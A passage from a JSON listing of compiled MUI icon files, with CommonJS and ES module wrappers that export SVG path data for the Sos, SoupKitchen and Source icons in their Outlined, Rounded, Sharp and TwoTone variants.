    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 7h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8h-3V9h3zM1 15h4v-2H3c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2H3v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H1zm16 0h4v-2h-2c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2h-4v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2h-4z\"\n}), 'SosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SosRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 7h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8h-3V9h3zM3 9v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H2c-.55 0-1-.45-1-1s.45-1 1-1h3v-2H3c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h3c.55 0 1 .45 1 1s-.45 1-1 1zm16 0v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2h-3c-.55 0-1-.45-1-1s.45-1 1-1h3v-2h-2c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h3c.55 0 1 .45 1 1s-.45 1-1 1z\"\n}), 'SosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SosRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 7h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8h-3V9h3zM3 9v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H2c-.55 0-1-.45-1-1s.45-1 1-1h3v-2H3c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h3c.55 0 1 .45 1 1s-.45 1-1 1zm16 0v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2h-3c-.55 0-1-.45-1-1s.45-1 1-1h3v-2h-2c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h3c.55 0 1 .45 1 1s-.45 1-1 1z\"\n}), 'SosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SosSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.5 7h-7v10h7zm-2 8h-3V9h3zM1 15h4v-2H1V7h6v2H3v2h4v6H1zm16 0h4v-2h-4V7h6v2h-4v2h4v6h-6z\"\n}), 'SosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SosSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.5 7h-7v10h7zm-2 8h-3V9h3zM1 15h4v-2H1V7h6v2H3v2h4v6H1zm16 0h4v-2h-4V7h6v2h-4v2h4v6h-6z\"\n}), 'SosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SosTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 7h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8h-3V9h3zM1 15h4v-2H3c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2H3v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H1zm16 0h4v-2h-2c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2h-4v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2h-4z\"\n}), 'SosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SosTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 7h-3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2m0 8h-3V9h3zM1 15h4v-2H3c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2H3v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2H1zm16 0h4v-2h-2c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2h4v2h-4v2h2c1.1 0 2 .9 2 2v2c0 1.1-.9 2-2 2h-4z\"\n}), 'SosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchen.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.4 7c-.34.55-.4.97-.4 1.38C6 9.15 7 11 7 12c0 .95-.4 1.5-.4 1.5H5.1s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm5 0c-.34.55-.4.97-.4 1.38 0 .77 1 2.62 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM8.15 7c-.34.55-.4.97-.4 1.38 0 .77 1 2.63 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm13.32-.5s.13-1.06.13-1.5c0-1.65-1.35-3-3-3-1.54 0-2.81 1.16-2.98 2.65L14.53 15H4.01c-.6 0-1.09.53-1 1.13C3.53 19.46 6.39 22 9.75 22c3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .3-.1 1.25-.1 1.25z\"\n}), 'SoupKitchen');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchen.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.4 7c-.34.55-.4.97-.4 1.38C6 9.15 7 11 7 12c0 .95-.4 1.5-.4 1.5H5.1s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm5 0c-.34.55-.4.97-.4 1.38 0 .77 1 2.62 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM8.15 7c-.34.55-.4.97-.4 1.38 0 .77 1 2.63 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm13.32-.5s.13-1.06.13-1.5c0-1.65-1.35-3-3-3-1.54 0-2.81 1.16-2.98 2.65L14.53 15H4.01c-.6 0-1.09.53-1 1.13C3.53 19.46 6.39 22 9.75 22c3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .3-.1 1.25-.1 1.25z\"\n}), 'SoupKitchen');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.4 7c-.34.55-.4.97-.4 1.38C6 9.15 7 11 7 12c0 .95-.4 1.5-.4 1.5H5.1s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm5 0c-.34.55-.4.97-.4 1.38 0 .77 1 2.62 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM8.15 7c-.34.55-.4.97-.4 1.38 0 .77 1 2.63 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM18.6 2c-1.54 0-2.81 1.16-2.98 2.65L14.53 15H4.01c-.6 0-1.09.53-1 1.13C3.53 19.46 6.39 22 9.75 22c3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .3-.1 1.25-.1 1.25l1.97.25s.13-1.06.13-1.5c0-1.65-1.35-3-3-3M9.75 20c-1.94 0-3.67-1.23-4.43-3h8.79c-.72 1.78-2.42 3-4.36 3\"\n}), 'SoupKitchenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.4 7c-.34.55-.4.97-.4 1.38C6 9.15 7 11 7 12c0 .95-.4 1.5-.4 1.5H5.1s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm5 0c-.34.55-.4.97-.4 1.38 0 .77 1 2.62 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM8.15 7c-.34.55-.4.97-.4 1.38 0 .77 1 2.63 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM18.6 2c-1.54 0-2.81 1.16-2.98 2.65L14.53 15H4.01c-.6 0-1.09.53-1 1.13C3.53 19.46 6.39 22 9.75 22c3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .3-.1 1.25-.1 1.25l1.97.25s.13-1.06.13-1.5c0-1.65-1.35-3-3-3M9.75 20c-1.94 0-3.67-1.23-4.43-3h8.79c-.72 1.78-2.42 3-4.36 3\"\n}), 'SoupKitchenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.15 13.5c-.46 0-.8-.42-.71-.87q.06-.27.06-.63c0-1-1-2.85-1-3.62 0-.29.03-.59.17-.93.11-.27.37-.45.67-.45.45 0 .8.42.71.86-.04.18-.05.35-.05.52C6 9.15 7 11 7 12c0 .42-.08.76-.17 1.01-.1.3-.37.49-.68.49m6.5 0c.31 0 .58-.19.68-.49.09-.25.17-.59.17-1.01 0-1-1-2.85-1-3.62 0-.17.01-.34.04-.51.09-.45-.25-.87-.7-.87-.29 0-.56.18-.67.45-.14.34-.17.63-.17.93 0 .77 1 2.62 1 3.62q0 .36-.06.63c-.09.45.25.87.71.87m-3.25 0c.31 0 .58-.19.68-.49.09-.25.17-.59.17-1.01 0-1-1-2.85-1-3.62 0-.17.01-.34.04-.51.09-.45-.25-.87-.7-.87-.3 0-.56.18-.67.45-.14.34-.17.63-.17.93 0 .77 1 2.63 1 3.62q0 .36-.06.63c-.09.45.25.87.71.87m11.06-7.13c.57.07 1.08-.34 1.12-.91.01-.18.02-.34.02-.46 0-1.65-1.35-3-3-3-1.54 0-2.81 1.16-2.98 2.65L14.53 15H3.99c-.6 0-1.07.54-.98 1.14C3.54 19.46 6.39 22 9.75 22c3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .07-.01.18-.01.31-.04.53.34.99.87 1.06\"\n}), 'SoupKitchenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.15 13.5c-.46 0-.8-.42-.71-.87q.06-.27.06-.63c0-1-1-2.85-1-3.62 0-.29.03-.59.17-.93.11-.27.37-.45.67-.45.45 0 .8.42.71.86-.04.18-.05.35-.05.52C6 9.15 7 11 7 12c0 .42-.08.76-.17 1.01-.1.3-.37.49-.68.49m6.5 0c.31 0 .58-.19.68-.49.09-.25.17-.59.17-1.01 0-1-1-2.85-1-3.62 0-.17.01-.34.04-.51.09-.45-.25-.87-.7-.87-.29 0-.56.18-.67.45-.14.34-.17.63-.17.93 0 .77 1 2.62 1 3.62q0 .36-.06.63c-.09.45.25.87.71.87m-3.25 0c.31 0 .58-.19.68-.49.09-.25.17-.59.17-1.01 0-1-1-2.85-1-3.62 0-.17.01-.34.04-.51.09-.45-.25-.87-.7-.87-.3 0-.56.18-.67.45-.14.34-.17.63-.17.93 0 .77 1 2.63 1 3.62q0 .36-.06.63c-.09.45.25.87.71.87m11.06-7.13c.57.07 1.08-.34 1.12-.91.01-.18.02-.34.02-.46 0-1.65-1.35-3-3-3-1.54 0-2.81 1.16-2.98 2.65L14.53 15H3.99c-.6 0-1.07.54-.98 1.14C3.54 19.46 6.39 22 9.75 22c3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .07-.01.18-.01.31-.04.53.34.99.87 1.06\"\n}), 'SoupKitchenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.4 7c-.34.55-.4.97-.4 1.38C6 9.15 7 11 7 12c0 .95-.4 1.5-.4 1.5H5.1s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm5 0c-.34.55-.4.97-.4 1.38 0 .77 1 2.62 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM8.15 7c-.34.55-.4.97-.4 1.38 0 .77 1 2.63 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm13.32-.5s.13-1.06.13-1.5c0-1.65-1.35-3-3-3-1.54 0-2.81 1.16-2.98 2.65L14.53 15H2.93c-.02 3.87 3.09 7 6.82 7 3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .3-.1 1.25-.1 1.25z\"\n}), 'SoupKitchenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.4 7c-.34.55-.4.97-.4 1.38C6 9.15 7 11 7 12c0 .95-.4 1.5-.4 1.5H5.1s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm5 0c-.34.55-.4.97-.4 1.38 0 .77 1 2.62 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM8.15 7c-.34.55-.4.97-.4 1.38 0 .77 1 2.63 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm13.32-.5s.13-1.06.13-1.5c0-1.65-1.35-3-3-3-1.54 0-2.81 1.16-2.98 2.65L14.53 15H2.93c-.02 3.87 3.09 7 6.82 7 3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .3-.1 1.25-.1 1.25z\"\n}), 'SoupKitchenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.12 17c-.73 1.78-2.43 3-4.37 3s-3.67-1.23-4.43-3h8.78\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.4 7c-.34.55-.4.97-.4 1.38C6 9.15 7 11 7 12c0 .95-.4 1.5-.4 1.5H5.1s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm5 0c-.34.55-.4.97-.4 1.38 0 .77 1 2.62 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM8.15 7c-.34.55-.4.97-.4 1.38 0 .77 1 2.63 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM18.6 2c-1.54 0-2.81 1.16-2.98 2.65L14.53 15H4.01c-.6 0-1.09.53-1 1.13C3.53 19.46 6.39 22 9.75 22c3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .3-.1 1.25-.1 1.25l1.97.25s.13-1.06.13-1.5c0-1.65-1.35-3-3-3M9.75 20c-1.94 0-3.67-1.23-4.43-3h8.79c-.72 1.78-2.42 3-4.36 3\"\n}, \"1\")], 'SoupKitchenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SoupKitchenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.12 17c-.73 1.78-2.43 3-4.37 3s-3.67-1.23-4.43-3h8.78\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.4 7c-.34.55-.4.97-.4 1.38C6 9.15 7 11 7 12c0 .95-.4 1.5-.4 1.5H5.1s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zm5 0c-.34.55-.4.97-.4 1.38 0 .77 1 2.62 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM8.15 7c-.34.55-.4.97-.4 1.38 0 .77 1 2.63 1 3.62 0 .95-.4 1.5-.4 1.5h1.5s.4-.55.4-1.5c0-1-1-2.85-1-3.62 0-.41.06-.83.4-1.38zM18.6 2c-1.54 0-2.81 1.16-2.98 2.65L14.53 15H4.01c-.6 0-1.09.53-1 1.13C3.53 19.46 6.39 22 9.75 22c3.48 0 6.34-2.73 6.71-6.23L17.61 4.9c.05-.51.47-.9.99-.9.55 0 1 .45 1 1 0 .3-.1 1.25-.1 1.25l1.97.25s.13-1.06.13-1.5c0-1.65-1.35-3-3-3M9.75 20c-1.94 0-3.67-1.23-4.43-3h8.79c-.72 1.78-2.42 3-4.36 3\"\n}, \"1\")], 'SoupKitchenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Source.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'Source');"
  },
  {
    "path": "packages/mui-icons-material/lib/Source.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'Source');"
  },
  {
    "path": "packages/mui-icons-material/lib/SourceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\"\n}), 'SourceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SourceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\"\n}), 'SourceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SourceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'SourceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SourceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-1.41-1.41C10.21 4.21 9.7 4 9.17 4H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-6 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'SourceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SourceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 6-2-2H2v16h20V6zm2 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'SourceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SourceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 6-2-2H2v16h20V6zm2 10H6v-2h8zm4-4H6v-2h12z\"\n}), 'SourceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SourceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.17 6H4v12h16V8h-8.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\"\n}, \"1\")], 'SourceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SourceTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.17 6H4v12h16V8h-8.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-8l-2-2H4c-1.1 0-1.99.9-1.99 2L2 18c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 12H4V6h5.17l2 2H20zm-2-6H6v-2h12zm-4 4H6v-2h8z\"\n}, \"1\")], 'SourceTwoTone');"
  },
  {
